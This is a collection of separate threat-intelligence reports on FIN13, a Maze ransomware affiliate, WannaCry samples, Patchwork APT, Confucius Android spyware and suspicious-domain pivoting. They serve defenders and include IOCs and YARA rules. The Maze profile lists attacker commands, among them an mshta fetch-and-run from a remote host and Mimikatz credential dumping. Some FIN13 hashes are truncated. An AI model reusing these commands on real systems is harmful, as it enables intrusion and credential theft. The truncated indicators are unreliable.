Mandiant investigations reveal that FIN13 has primarily exploited external servers to deploy generic web shells and custom malware including BLUEAGAVE and SIXPACK to establish a foothold. The details of the exploits and the specific vulnerabilities targeted over the years have not been confirmed, due to insufficient evidence compounded by FIN13's long dwell times. In two separate intrusions, the earliest evidence suggested a likely exploit against the victim's WebLogic server to write a generic web shell. In another, evidence suggested exploitation of Apache Tomcat. Although details on the exact vector are sparse, FIN13 has historically used web shells on external servers as a gateway into a victim.
The usage of JSPRAT by FIN13 allows the actor to achieve local command execution, upload/download files, and proxy network traffic for additional pivoting during later stages of the intrusion. FIN13 has also historically used publicly available web shells coded in various languages including PHP, C#, and Java.
FIN13 has also extensively deployed the PowerShell passive backdoor BLUEAGAVE on target hosts when establishing an initial foothold in an environment. BLUEAGAVE utilizes the HttpListener .NET class to establish a local HTTP server on high ephemeral ports (65510-65512). The backdoor listens for incoming HTTP requests to the root URI / on the established port, parses the HTTP request, and executes the URL encoded data stored within the ‘kmd’ variable of the request via the Windows Command Prompt (cmd.exe). The output of this command is then sent back to the operator in the body of the HTTP response. In addition, Mandiant has identified a Perl version of BLUEAGAVE which allows FIN13 to establish a foothold on Linux systems.
### Escalate Privileges
FIN13 primarily utilizes common privilege escalation techniques; however, the actor appears flexible to adapt when exposed to diverse victim networks. FIN13 has relied on publicly available utilities, such as Windows Sysinternal's ProcDump, to obtain process memory dumps of the LSASS system process and then used Mimikatz to parse the dumps and extract credentials. Mandiant has also observed FIN13 using the legitimate Windows utility certutil, in some cases to launch obfuscated copies of utilities like ProcDump for detection evasion.
FIN13 has also used some more unique privilege escalation techniques. For example, during a recent intrusion, Mandiant observed FIN13 replace legitimate KeePass binaries with trojanized versions that logged newly entered passwords to a local text file. This allowed FIN13 to target and collect credentials for numerous applications to further their mission.
### Internal Reconnaissance
FIN13 is particularly adept at leveraging native operating system binaries, scripts, third-party tools, and custom malware to conduct internal reconnaissance within a compromised environment. This actor appears comfortable leveraging various techniques to quickly gather background information which will support their final objectives.
Mandiant has observed FIN13 use common Windows commands to gather information, such as whoami to display group and privilege details for their currently logged in user. For network reconnaissance, they have been observed taking advantage of ping, nslookup, ipconfig, tracert, netstat, and the gamut of net commands. To gather local host information, the threat actor used systeminfo, fsutil fsinfo, attrib, and extensive use of the dir command.
FIN13 rolled many of these reconnaissance efforts into scripts to automate their processes. For example, they used pi.bat to iterate through a list of IP addresses in a file, execute a ping command, and write the output to a file.
FIN13 has taken advantage of third-party tools, such as NMAP to support recon operations. In three FIN13 investigations, the threat actors employed a variant of the GetUserSPNS.vbs script to identify user accounts associated with a Service Principal Name that could be targeted for an attack known as “Kerberoasting” to crack the users’ passwords.
### Move Laterally
The group has frequently leveraged Windows Management Instrumentation (WMI) to remotely execute commands and move laterally, namely by employing the native wmic command, a version of the publicly available Invoke-WMIExec script, or WMIEXEC.
Mandiant has also observed FIN13 use similar utilities to Invoke-WMIExec, such as the Invoke-SMBExec PowerShell utility. NIGHTJAR is a Java uploader observed during multiple investigations that appears to be based on code found here. NIGHTJAR will listen on a designated socket, provided at runtime on the command line, to download a file and save it to disk.
To move laterally cross-platform, FIN13 has used their BLUEAGAVE web shell, and two other small PHP web shells which were used to execute commands remotely between Linux systems via SSH.
### Maintain Presence
Early FIN13 intrusions involved multiple generic web shells for persistence, but over the years, FIN13 has developed a portfolio of both custom and publicly available malware families to use for persistence in an environment.
In multiple intrusions, FIN13 deployed SIXPACK and SWEARJAR. SIXPACK is an ASPX web shell written in C# that functions as a tunneler. SWEARJAR is a Java-based cross-platform backdoor that can execute shell commands.
In one instance, FIN13 deployed a backdoor called MAILSLOT, which communicates over SMTP/POP over SSL, sending and receiving emails to and from a configured attacker-controlled email account for its command and control.
### Complete Mission
While many organizations are inundated with ransomware, FIN13 nostalgically monetizes their intrusions through targeted data theft to enable fraudulent transactions. FIN13 has exfiltrated commonly targeted data such as LSASS process dumps and registry hives, but ultimately targeted users effective towards their financial goals.
FIN13 also interacted with databases to gather financially sensitive information. In one victim database, FIN13 retrieved contents of the following tables for exfiltration:
- "claves_retiro" (English translation "withdrawal keys")
- "codigos_retiro_sin_tarjeta" (English translation "keyless card withdrawal codes")
- "retirosefectivo" (English translation "cash withdrawal")
With treasures in hand, FIN13 masqueraded their staged data by using the Windows certutil utility to generate a fake, Base64 encoded certificate with the input file.
FIN13 then exfiltrated the data via web shells previously deployed in the environment or using a simple JSP tool in a web-accessible directory.
## Outlook
Between the complex web of cybercriminal activity, traditional organized crime turning to cryptocurrency, aggressive targeting by North Korea, Chinese espionage, and the ransomware pandemic, Latin American cyberspace will continue to be an area for additional research for years to come.
Notably, while ransomware has captured the cybercriminal zeitgeist, Mandiant has not observed FIN13 deploy ransomware in an intrusion at the time of this publication. FIN13 has remained focused on more traditional financially motivated cybercrime and has targeted both Linux and Windows systems throughout their operations.
Latin American security teams and executives should be aware of these threats, assess their current posture, and adapt accordingly. Mandiant encourages these organizations to continue to collaborate with the larger industry to mitigate these threats.
## Indicators of Compromise
**MALWARE** | **MD5** | **SHA1** | **SHA256**
--- | --- | --- | ---
CLOSEWATCH | 1c871dba90faeef9cb637046be04f291 | ea71757fcd45425353d4c432f8fcef4451cd9b22 | e9e25584475ebf08957886725ebc99a2b85
DRAWSTRING | f774a1159ec25324c3686431aeb9a038 | 1f53342aaa71be3d25e6c28dd36f949b7b504a28 | 2d2a67fcce58c73e96358161e48e8b09fa2b
... | ... | ... | ...
## MITRE ATT&CK Techniques
**ATT&CK Tactic Category** | **Techniques**
--- | ---
Resource Development | Acquire Infrastructure (T1583), Develop Capabilities (T1587), Obtain Capabilities (T1588), Stage Capabilities (T1608)
Initial Access | Exploit Public-Facing Application (T1190)
Execution | Windows Management Instrumentation (T1047), Scheduled Task/Job (T1053), Command and Scripting Interpreter (T1059)
Persistence | Scheduled Task/Job (T1053), Create Account (T1136), Server Software Component (T1505)
Privilege Escalation | Scheduled Task/Job (T1053), Process Injection (T1055)
Defense Evasion | Obfuscated Files or Information (T1027), Process Injection (T1055)
Credential Access | OS Credential Dumping (T1003), Network Sniffing (T1040)
Discovery | System Service Discovery (T1007), Query Registry (T1012)
Lateral Movement | Remote Services (T1021)
Collection | Data from Network Shared Drive (T1039)
Command and Control | Proxy (T1090), Application Layer Protocol (T1071)
Exfiltration | Exfiltration Over Web Service (T1567)
Impact | Service Stop (T1489)
## Acknowledgements
This blog post would not have been possible without the exceptional efforts from Mandiant Consulting’s Incident Response team, Managed Defense Analysts, FLARE’s outstanding Reverse Engineers, Detection Wizard Evan Reese, Jeremy Kennelly for his expertise, Mandiant Threat Intelligence’s collections team, and all those unsung Mandiant Engineers that keep the cogs greased and turning. |
# Enter the Maze: Demystifying an Affiliate Involved in Maze (SNOW)
**Jason Reaves**
Affiliate involved in Maze ransomware operations profiled from the actor perspective while also detailing their involvement in other groups.
## Executive Summary
Maze continues to be one of the most dangerous and actively developed ransomware frameworks in the crimeware space. Maze affiliates utilize red team tools and frameworks but also a custom loader commonly named DllCrypt. Maze affiliates utilize other malware and are involved with other high-end organized crimeware groups conducting systematic corporate data breaches including Zloader, Gozi, and TrickBot as we will demonstrate in our profiling of Maze affiliate SNOW.
## Background
Maze ransomware became famous for moving from widespread machine locking to corporate extortion with a blackmail component. Like most cybercrime groups, their intention is to maximize profits. As companies have adapted to the threat of ransomware by improving backup solutions and adding more layers of protection, the ransomware actors would noticeably see a hit in their returns as companies refused to pay. It makes sense then to add another layer since you have already infiltrated the network to add a blackmail component by stealing sensitive data.
## Research Insight
Most of the existing research into Maze shows that it is frequently a secondary or tertiary infection vector. This means it is leveraged post initial access phase, frequently reported to be through RDP. Therefore, finding the loader being leveraged for delivering the Maze payload in memory is something that doesn’t happen very frequently. This loader has been leveraged in its unpacked form being directly downloaded.
## Server
While researching the custom loader, we discovered an active attack server leveraged by a Maze affiliate, SNOW.
## Tools
- GMER
- Mimikatz
- Metasploit
- Cobalt Strike
- PowerShell
- AdFind
- Koadic
- PowerShell Empire
## Victimology
- Law firms
- Distributors and Resellers
## TTPs
### Initial Access
- Bruting T1078
- SMB exploitation T1190
- RDP T1133
### Execution
- whoami /priv T1059
- whoami /groups T1059
- klist T1059
- net group “Enterprise Admins” /domain T1059
- net group “Domain Admins” /domain T1059
- mshta http://x.x.x.x/ktfrJ T1059
- powershell Find-PSServiceAccounts T1059
### Persistence & Privilege Escalation
- elevate svc-exe T1035, T1050
- elevate uac-token-duplication T1088, T1093
- jump psexec_psh T1035, T1050
### Defense Evasion
- Process injection to hide beacon
- inject 24636 x64 T1055
### Credential Access
- mimikatz sekurlsa::logonpasswords T1003, T1055, T1093
- hashdump T1003, T1055, T1093
### Discovery
- portscan T1046
- net share T1135, T1093
### Lateral Movement
- mimikatz sekurlsa::pth T1075, T1093
- SMB exploitation T1210
- Network shares T1021
- Psexec T1077
## Attack Overview
Initial access involved using an infected system with RDP opened to the internet for scanning, scanning performed was both SMB and RDP based. Once the actor has an infected system, they will sometimes reuse it for further scanning either internally or externally. The actor also leveraged Cobalt Strike on selected infections to perform RDP scanning using portscan. Multiple check-in logs indicated the beacon’s preferred stager parent was PowerShell.
Multiple systems the actor gained initial access to had no Administrator access, so the actor frequently would then begin looking for other systems and mapping out the network (recon). The actor was also very patient in these situations, choosing to focus on several persistence paths using multiple backdoors and waiting in the hopes that someone would login to the system with higher access. The actor would sometimes let these infections sit for 2-3 days before logging back in and checking them.
If the actor did have higher privileges, then they would frequently attempt to escalate using methods outlined in the Privilege Escalation section of the TTP (Tactics, Techniques and Procedures) section. The actor would begin looking for other systems they could access using existing credentials, mapped shares, other harvested credentials, or vulnerabilities.
Once the actor had mapped out the network and harvested credentials from normal workstations, they would attempt to pivot to higher profile servers such as the domain controller. Due to the likelihood of the actor exfiltrating data or performing ransom activities, the investigation ends here with the takedown of the server.
## eCrime Overlaps
Before looking at the overlaps, we should explain that this actor uses a particular loader that is designed to detonate the onboard protected Maze file. Most of the loaders discovered start with a killswitch check. If the file “C:AhnLabSucks” exists, then the DLL will print the message “Ahnlab really sucks” and will then exit. If it doesn’t exist, it begins allocating memory and copying over data.
Next, some hardcoded strings are loaded. Eventually, this leads to a function call that is sitting in a loop along with a sub loop for XORing. This is a commonly seen code structure for encryption algorithms such as AES. This, however, is not AES; it turns out to be Sosemanuk.
After downloading the source and building it into a shared object library, we can utilize this shared object file from Python.
## Maze
After decrypting out the payload, it is very easy to identify that it is a sample of Maze ransomware. There are two interesting overlaps involving this Maze Loader. The first is that one of the actor’s recovered samples was a crypted sample of a Maze loader with a certificate chain onboard from Sectigo. Pivoting on this chain leads us to a number of eCrime malware families that have been used for delivering second stage malware previously.
Also interesting is that the new Gozi being utilized by Gozi ConfCrew uses one of these keys for their loader service. Secondly, during our investigation of a packed sample of this loader, we noticed that it was delivering Maze with a very distinctive crypter commonly associated with TrickBot.
## TrickBot Crypter
The crypter being used here is one that is predominately utilized by TrickBot customers. The latest variant is easy to identify due to its continued use of VirtualAllocExNuma and a modified RC4 routine.
After unpacking, we are left with a DLL. This DLL turns out to be the Maze Loader that we discussed earlier. This loader also has a certificate appended to it in the overlay data.
## Finding Structure in Noise
As previously mentioned, we began tracking this actor’s attack servers, which predominantly leverage the use of Cobalt Strike. However, trying to pivot on a tool like Cobalt Strike can be challenging, as you will get lost in a sea of data pretty quickly.
The Cobalt Strike beacons discovered here provide an excellent opportunity to showcase this methodology using a real-world example.
## Conclusion
We have covered in this paper tracking and profiling one of the actors involved in Maze ransomware while also discovering intel of his involvement with multiple other major eCrime families including Zloader, Gozi, and TrickBot. The notorious ransomware group, Maze, which leverages blackmail and data theft on top of file locking is now found with evidence of an affiliate being involved in multiple major eCrime groups and utilizing a service that is predominantly associated with TrickBot and their customers.
## IOCs
**Unpacked samples:**
- 85e38cc3b78cbb92ade81721d8cec0cb6c34f3b5
- 07849ba4d2d9cb2d13d40ceaf37965159a53c852
**IPs:**
- 37.1.210.52
## Mitigation & Recommendations
**Endpoint**
- KillSwitch file: C:AhnLabSucks
**YARA**
```yara
rule trick_crypter_vallocnuma_hash {
strings:
$a1 = "383669855"
condition:
all of them
}
rule Maze_Loader {
strings:
$sosemanuk_key = "IDZT6frSHDHsfdsffiFduffz8GD7sddg"
$ahnlab_messages1 = "Ahnlab really sucks"
$ahnlab_messages2 = "AhnLabSucks"
condition:
$sosemanuk_key or all of ($ahnlab_messages*)
}
``` |
# Third time's the charm? Analysing WannaCry samples
After over two years since the initial spread of the ransomware and Malwaretech's sentencing last week, I got a bit nostalgic and took a second look at different samples. Since the first wave of infections in May 2017, WannaCry is basically the go-to example for the whole ransomware scheme, and that is actually a good thing. The potential damage that WannaCry and the variants following the original version would have been massive if it weren't for Malwaretech, 2sec4u, and all the other researchers who helped to contain the spread of ransomware powered by the wormable EternalBlue exploit. Funnily enough, there are still people from around the world that pay the ~$300 ransom in hopes to get their data decrypted.
A general disclaimer as always: downloading and running the samples (especially the ones without the kill switch) linked below will lead to the encryption of your personal data, so be f$cking careful. Also, check with your local laws as owning malware binaries/sources might be illegal depending on where you live.
## The three samples I'll be looking at:
**WannaCry Sample #1** sometimes referred to as "dropper"
SHA256: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
**WannaCry Sample #2** sometimes referred to as "encryptor"
SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
**WannaCry Plus**
SHA256: 55504677f82981962d85495231695d3a92aa0b31ec35a957bd9cbbef618658e3
The first thing we're going to take a look at is the symbol tree. Stepping into the function called entry, we notice that it is in fact not the main / WinMain function, but rather a preparing function that will call WinMain at the end (this might actually be an artifact of Ghidra's decompiler).
Because the decompilation result in our WinMain function is not that pretty, we will edit its function signature to match the one described in the Win32 API Reference.
```c
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow);
```
After this is done, the decompilation result will be much better and easier on the eyes. One of the first things you will spot is the famous Kill Switch URL registered by Malwaretech after the initial outbreak, which is to this day pointing to the Kryptos Logic sinkhole. After Line 41, you are also able to see multiple InternetOpen etc. function calls that will check if the aforementioned URL is registered and reachable. If that is the case, it will close the connection socket and exit to WinMain before the encryption process even started. Of course, this also means that if the infected PC is not connected to the Internet (remember it propagates via SMB over local networks as well) or is unable to resolve the domain name, the ransomware will go to town with the user's files. Looking into sample #2, there is actually no such kill switch, which means that it is one of the later versions following the initial outbreak.
To show the differences between the kill switched first sample and the second rambo version, I fired up hasherezade's awesome PE-Bear and loaded Sample #2 and #1. This indeed confirms that the samples are basically the same, but version #2 is missing the notorious kill switch.
**WannaCry Plus**
I haven't heard of this strain/variant before, but it got its own subfolder in ytisf's TheZoo, so it has to be special in some way, right? Let's first check the entropy of the binary with "Detect it easy" to see if it is packed or obfuscated in any way.
Looking at the entropy graph, we can pretty comfortably say that the PE is neither packed nor obfuscated (which would have been out of the ordinary for a WannaCry sample anyway). Looking at the symbol tree, we are greeted with a new function called PlayGame. Please no Fortnite ransomware kthxbye :D We'll have a look into that later.
Jumping into the entry function, things are looking quite different compared to the first two samples. Following the procedure, we are dropped into FUN_10001016, which is what I presume the file encryption function. This is pretty easy to spot through the rather characteristic combination of FindResourceA, CreateFileA, and WriteFile.
To see what happens if I run the malware, I fired up a Windows 7 x86 VM in VirtualBox provided by https://modern.ie/. After seeing the error message below, I thought the executable might actually be a x86_64 one since it refuses to run on the 32-bit Windows 7 system. Even these days, it is actually quite unusual for malware to be compiled for x64 systems only since it'll cut out a lot of the old and vulnerable systems running x86 XP, for example (which is kind of a no-brainer since the potatohead holding PCs for ransom would want to maximize the attack surface and earnings).
Kudos to Microsoft in this case: Their Defender and SmartScreen really stepped up their game. For an attacker and (sadly) for a malware reverse engineer, it is actually quite difficult to circumvent or disable the built-in Mal-/Ransomware Protection. You are constantly greeted with pop-ups about a detected ransomware executable, and the Defender will even go as far as simply deleting your precious sample.
But even after calming down the Windows Defender, I couldn't get the malware to encrypt anything.
Looking at the Anyrun Sandbox Analysis, we see the same error message, but it seems to drop another executable called "SearchProtocolHost.exe," which is probably RunPE Process Hollowing at play. The next step will probably be manual debugging, so stay tuned!
## IOCs
**WannaCry (SHA256)**
24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
55504677f82981962d85495231695d3a92aa0b31ec35a957bd9cbbef618658e3
32f24601153be0885f11d62e0a8a2f0280a2034fc981d8184180c5d3b1b9e8cf
697158bcade7373ccc9e52ea1171d780988fc845d2b696898654e18954578920
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
# Muhstik Botnet Exploits Highly Critical Drupal Bug
Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug.
This is only the beginning. Drupal users better PATCH in a hurry. Drupal should just throw in the towel. Honestly, my impression on their ability to keep their platform secure is slim. At this point, they are worse than WordPress. Always something negative about Drupal in the news. |
# Patchwork APT Caught in Its Own Web
**Threat Intelligence Team**
January 7, 2022
Patchwork is an Indian threat actor that has been active since December 2015 and usually targets Pakistan via spear phishing attacks. In its most recent campaign from late November to early December 2021, Patchwork has used malicious RTF files to drop a variant of the BADNEWS (Ragnatela) Remote Administration Trojan (RAT).
What is interesting among victims of this latest campaign is that the actor has for the first time targeted several faculty members whose research focus is on molecular medicine and biological science. Instead of focusing entirely on victimology, we decided to shade some light on this APT. Ironically, all the information we gathered was possible thanks to the threat actor infecting themselves with their own RAT, resulting in captured keystrokes and screenshots of their own computer and virtual machines.
## Ragnatela
We identified what we believe is a new variant of the BADNEWS RAT called Ragnatela being distributed via spear phishing emails to targets of interest in Pakistan. Ragnatela, which means spider web in Italian, is also the project name and panel used by Patchwork APT.
Ragnatela RAT was built sometime in late November as seen in its Program Database (PDB) path “E:\new_ops\jlitest __change_ops -29no – Copy\Release\jlitest.pdb”. It features the following capabilities:
- Executing commands via cmd
- Capturing screenshots
- Logging keystrokes
- Collecting list of all the files in victim’s machine
- Collecting list of the running applications in the victim’s machine at specific time periods
- Downloading additional payloads
- Uploading files
In order to distribute the RAT onto victims, Patchwork lures them with documents impersonating Pakistani authorities. For example, a document called EOIForm.rtf was uploaded by the threat actor onto their own server at karachidha[.]org/docs/. That file contains an exploit (Microsoft Equation Editor) which is meant to compromise the victim’s computer and execute the final payload (RAT). That payload is stored within the RTF document as an OLE object. We can deduce the file was created on December 9, 2021, based on the source path information.
Ragnatela RAT communicates with the attacker’s infrastructure via a server located at bgre.kozow[.]com. Prior to launching this campaign (in late November), the threat actor tested that their server was up and running properly. The RAT (jli.dll) was also tested in late November before its final compilation on 2021-12-09, along with MicroScMgmt.exe used to side-load it. Also in late November, we can see the threat actor testing the side-loading in a typical victim machine.
## Victims
We were able to gain visibility on the victims that were successfully compromised:
- Ministry of Defense - Government of Pakistan
- National Defense University of Islam Abad
- Faculty of Bio-Science, UVAS University, Lahore, Pakistan
- International Center for Chemical and Biological Sciences
- HEJ Research Institute of Chemistry, International Center for Chemical and Biological Sciences, University of Karachi
- SHU University, Molecular Medicine
Another unintentional victim is the threat actor himself, which appears to have infected his own development machine with the RAT. We can see them running both VirtualBox and VMware to do web development and testing. Their main host has dual keyboard layouts (English and Indian). Other information that can be obtained is that the weather at the time was cloudy with 19 degrees and that they haven’t updated their Java yet. On a more serious note, the threat actor uses VPN Secure and CyberGhost to mask their IP address. Under the VPN, they log into their victim’s email and other accounts stolen by the RAT.
## Conclusion
This blog gave an overview of the latest campaign from the Patchwork APT. While they continue to use the same lures and RAT, the group has shown interest in a new kind of target. Indeed, this is the first time we have observed Patchwork targeting molecular medicine and biological science researchers. Thanks to data captured by the threat actor’s own malware, we were able to get a better understanding of who sits behind the keyboard. The group makes use of virtual machines and VPNs to both develop, push updates, and check on their victims. Patchwork, like some other East Asian APTs, is not as sophisticated as their Russian and North Korean counterparts.
## Indicators of Compromise
**Lure**
karachidha[.]org/docs/EOIForm.rtf
5b5b1608e6736c7759b1ecf61e756794cf9ef3bb4752c315527bcc675480b6c6
**RAT**
jli.dll
3d3598d32a75fd80c9ba965f000639024e4ea1363188f44c5d3d6d6718aaa1a3
**C2**
bgre[.]kozow[.]com |
# Novel Confucius APT Android Spyware Linked to India-Pakistan Conflict
The Lookout Threat Intelligence team has discovered two novel Android surveillanceware – Hornbill and SunBird. We believe with high confidence that these surveillance tools are used by the advanced persistent threat group (APT) Confucius, which first appeared in 2013 as a state-sponsored, pro-India actor primarily pursuing Pakistani and other South Asian targets.
While primarily known for desktop malware, the Confucius group was previously reported to have started leveraging mobile malware in 2017, with the Android surveillanceware ChatSpy. However, our discovery of SunBird and Hornbill shows that Confucius may have been spying on mobile users up to a year before it started using ChatSpy.
Targets of these tools include personnel linked to Pakistan’s military, nuclear authorities, and Indian election officials in Kashmir. Hornbill and SunBird have sophisticated capabilities to exfiltrate SMS, encrypted messaging app content, and geolocation, among other types of sensitive information.
SunBird has been disguised as applications that include:
- Security services, such as the fictional “Google Security Framework”
- Apps tied to specific locations (“Kashmir News”) or activities (“Falconry Connect” and “Mania Soccer”)
- Islam-related applications (“Quran Majeed”)
The majority of applications appear to target Muslim individuals. Lookout named Hornbill after the Indian Grey Hornbill, which is the state bird of Chandigarh and where the developers of Hornbill are located. SunBird’s name was derived from the malicious services within the malware called “SunService,” and the sunbird is also native to India.
## Malicious Functionality and Impact of Both SunBird and Hornbill
Hornbill and SunBird have both similarities and differences in the way they operate on an infected device. While SunBird features remote access trojan (RAT) functionality – a malware that can execute commands on an infected device as directed by an attacker – Hornbill is a discreet surveillance tool used to extract a selected set of data of interest to its operator.
Both malware can exfiltrate a wide range of data, such as:
- Call logs
- Contacts
- Device metadata including phone number, IMEI/Android ID, Model and Manufacturer and Android version
- Geolocation
- Images stored on external storage
- WhatsApp voice notes, if installed
Both malware are also able to perform the following actions on the device:
- Request device administrator privileges
- Take screenshots, capturing whatever a victim is currently viewing on their device
- Take photos with the device camera
- Record environment and call audio
- Scrape WhatsApp messages and contacts via accessibility services
- Scrape WhatsApp notifications via accessibility services
### SunBird-Specific Functionality
SunBird has a more extensive set of malicious capabilities than Hornbill. It attempts to upload all data it has access to at regular intervals to its command and control (C2) servers. Locally on the infected device, the data is collected in SQLite databases which are then compressed into ZIP files as they are uploaded to C2 infrastructure.
SunBird can exfiltrate the following list of data, in addition to the list above:
- List of installed applications
- Browser history
- Calendar information
- BlackBerry Messenger (BBM) audio files, documents, and images
- WhatsApp audio files, documents, databases, voice notes, and images
- Content sent and received via IMO instant messaging application
In addition to the list of actions above, SunBird can also perform the following actions:
- Download attacker-specified content from FTP shares
- Run arbitrary commands as root, if possible
- Scrape BBM messages and contacts via accessibility services
- Scrape BBM notifications via accessibility services
### Hornbill-Specific Functionality
In contrast, Hornbill is more of a passive reconnaissance tool than SunBird. Not only does it target a limited set of data, the malware only uploads data when it initially runs and not at regular intervals like SunBird. After that, it only uploads changes in data to keep mobile data and battery usage low. The upload occurs when data monitored by Hornbill changes, such as when SMS or WhatsApp notifications are received or calls are made from the device.
Hornbill is keenly interested in the state of an infected device and closely monitors the use of resources. For example, if the device is low on memory, it triggers the garbage collector. In addition to the list of exfiltrated data mentioned earlier, Hornbill also collects hardware information. For example, the malware can check if a device’s screen is locked, the amount of available internal and external storage, and whether WiFi and GPS are enabled.
Hornbill only logs location information if it deems the changes to be significant enough from the previously recorded location – if the difference between the corresponding latitudes and longitudes differs by more than 0.0006, which is roughly 70 meters.
Data collected by Hornbill is stored in hidden folders on external storage. Once call recordings or audio recordings are uploaded to C2 infrastructure, they are deleted from the device to avoid suspicion.
### Development Timelines
The newest Hornbill sample was identified by Lookout’s app analysis engine as recently as December 2020, suggesting the malware may still be active today. Both ChatSpy and Hornbill’s packaging dates appeared to have been tampered with, but we first observed them in January 2018 and May 2018 respectively. Lookout first observed SunBird in January 2017, but unlike the other two malware families, the packaging dates appear legitimate, indicating the malware was likely in development between December 2016 and early 2019.
Hornbill, which Lookout first saw in May 2018, is actively deployed. We observed new samples as recently as December 2020. The first SunBird sample was seen as early as 2017 and as late as December 2019.
### Targeting
To better understand who SunBird may have been deployed against, we analyzed over 18GB of exfiltrated data that was publicly exposed from at least six insecurely configured C2 servers. All data uploaded to the C2 infrastructure included the locale of the infected devices. This information, combined with the data content, gave us extensive insight into who was being targeted by this malware family and the kind of information the attackers were after.
Some notable targets included an individual who applied for a position at the Pakistan Atomic Energy Commission, individuals with numerous contacts in the Pakistan Air Force (PAF), as well as officers responsible for electoral rolls (Booth Level Officers) located in the Pulwama district of Kashmir. Based on the locale and country code information of infected devices and exfiltrated content, we think SunBird may have roots as a commercial Android surveillanceware. The data included information on victims in Europe and the United States, some of which appear to be targets of spouseware or stalkerware. It also included data on Pakistani nationals in Pakistan, India, and the United Arab Emirates that we believe may be targeted by Confucius APT campaigns between 2018 and 2019.
### Malware Development and Commercial Surveillance Roots
Both Hornbill and SunBird appear to be evolved versions of commercial Android surveillance tooling. Hornbill seems to be derived from the same code base as a previously active commercial surveillanceware product known as MobileSpy. It is unclear how the developers of Hornbill acquired the code, but the company behind MobileSpy, Retina-X Studios, shut down their surveillance software products in May 2018 after being hacked twice. Links between the Hornbill developers indicate they all appear to have worked together at a number of Android and iOS app development companies registered and operating in or near Chandigarh, Punjab, India. In 2017, one developer claimed to be working at India’s Defence Research and Development Organisation (DRDO) on their LinkedIn profile.
SunBird looks to have been created by Indian developers who also produced another commercial spyware product, which we dubbed BuzzOut. The theory that SunBird’s roots lay in stalkerware was also supported by the content found in the exfiltrated data we uncovered. The data included information on stalkerware victims, as well as Pakistani nationals living in Pakistan and traveling in the UAE and India. This data suggests that SunBird could have been sold to an actor that selectively deployed it to gather intelligence on targeted individuals. Similar behavior was observed with Stealth Mango and Tangelo, two nation-state mobile surveillanceware Lookout researchers discovered in 2018.
### Exfiltrated Data
During this investigation, we were able to access exfiltrated data for SunBird whose C2 infrastructure had been insufficiently secured. This is a breakdown of types of data SunBird exfiltrated. This data is from publicly-accessible exfiltrated content exposed on SunBird C2 servers for five campaigns between 2018 and 2019. We found another 12 GB of data exfiltrated on another C2 server. The default language of this server was set up as Chinese when discovered by Lookout researchers. This may be a false flag or may have been altered by a third party. This also makes it difficult to confirm if all of the data originated from infections of actual target devices.
### Confucius Connection
Similar to previous Confucius tactics seen with ChatSpy, Hornbill samples often impersonate chat applications such as Fruit Chat, Cucu Chat, and Kako Chat. The related C2 infrastructure communicates on port 8080, a pattern also seen on the desktop campaigns carried out by Confucius. The Confucius group is well known for impersonating legitimate services to cover their tracks and confuse its victims. Naming malicious apps similar to legitimate ones may be an attempt to gain a target’s trust. For example, “kako chat” may have been named due to its similarity to KakaoTalk. However, Kako Chat’s C2 server references a defunct cryptocurrency by the same name. Cucu Chat may refer to a seemingly benign dating app of the same name that is available on third-party app stores. However, Cucu Chat communicates to a site and itself appears to be an impersonation of an application which advertises itself as a chat app for Zimbabweans. The latest sample of Hornbill titled “Filos” trojanizes the Mesibo Android application for legitimate chat functionality.
During our investigation, we noticed that Hornbill C2 infrastructure hosted HTML resources consistent with a commercial spyware page, but missing its image resources. We found that the patterns noted above also existed on another domain. Although Lookout has not directly observed an APK communicating to this domain, we think one likely exists. This domain has resolved to an IP address since May 2019, which encompasses the activity of this campaign.
In addition to this, we found the SunBird C2 domain resolved to an IP address in between February 2019 and July 2019. This is also the timeframe in which we observed active campaigns by SunBird on that infrastructure.
With the help of public reporting and Lookout’s dataset, we are confident that the Confucius APT group is actively using the IPs to host a large portion of their infrastructure, both presently and in the past. Additional open-source intelligence (OSINT) searches confirmed the above connections. We found a publicly-accessible 2018 Pakistani government advisory warning of a desktop malware campaign targeting officers and government staff. The campaign described in it used phishing emails that impersonated various government agencies to deliver malicious Microsoft Word exploits. The Indicators of Compromise (IOCs) for this campaign included domains that were known Confucius infrastructure, leading us to believe the entire campaign could be attributed to that group.
Hornbill malware has unique file paths with which to communicate with C2 servers. They also display a unique Spyware HTML page. Lookout researchers uncovered another domain, which shares the same unique file paths and Spyware HTML page found on a Hornbill C2 server. It is tied to known Confucius infrastructure by resolving to an IP address in the Confucius IP range.
We are confident SunBird and Hornbill are two tools used by the same actor, perhaps for different surveillance purposes. To the best of our knowledge, the apps described in this article were never distributed through Google Play. Users of Lookout security apps are protected from these threats. Lookout Threat Advisory Services customers have already been notified with additional intelligence on this and other threats. |
# Pivoting: Finding Malware Domains Without Seeing Malicious Activity
It is part of the job of a threat actor to ensure the domains used in their campaigns blend in with the crowd and stay undetected for the duration of the campaign. It is part of the job of an analyst to spot such domains by looking for ways in which they still stand out.
While looking through Silent Push’s trove of data, I spotted the domain `cdn12-web-security[.]com`. At first glance, this domain looks like a normal domain, part of the content delivery network of a web security service. However, it is slightly odd that more than three months after the domain was registered, `cdn12-web-security[.]com` doesn’t exist for any other name.
We have also learned to be a bit suspicious of these very normal looking domains: the main domain used in the SolarWinds supply-chain attack, `avsvmcloud[.]com`, remained undetected for months at least in part because it looks so very normal, seeming to belong to an AWS-like cloud service and hardly standing out among the domains you’ll see in your DNS logs.
On top of this, in the past month alone, we have seen `cdn12-web-security[.]com` point to no fewer than six different IP addresses in succession, which is fairly unusual:
- 80.249.147[.]241
- 47.91.92[.]75
- 80.249.147[.]144
- 47.254.131[.]6
- 8.208.87[.]225
- 8.208.101[.]136
Still, we have not seen any malicious activity linked to the domain. In fact, there does not appear to be any public activity linked to the domain at all, which suggests that whatever it is that the owners of the domain are doing, they keep it small enough to stay under the radar.
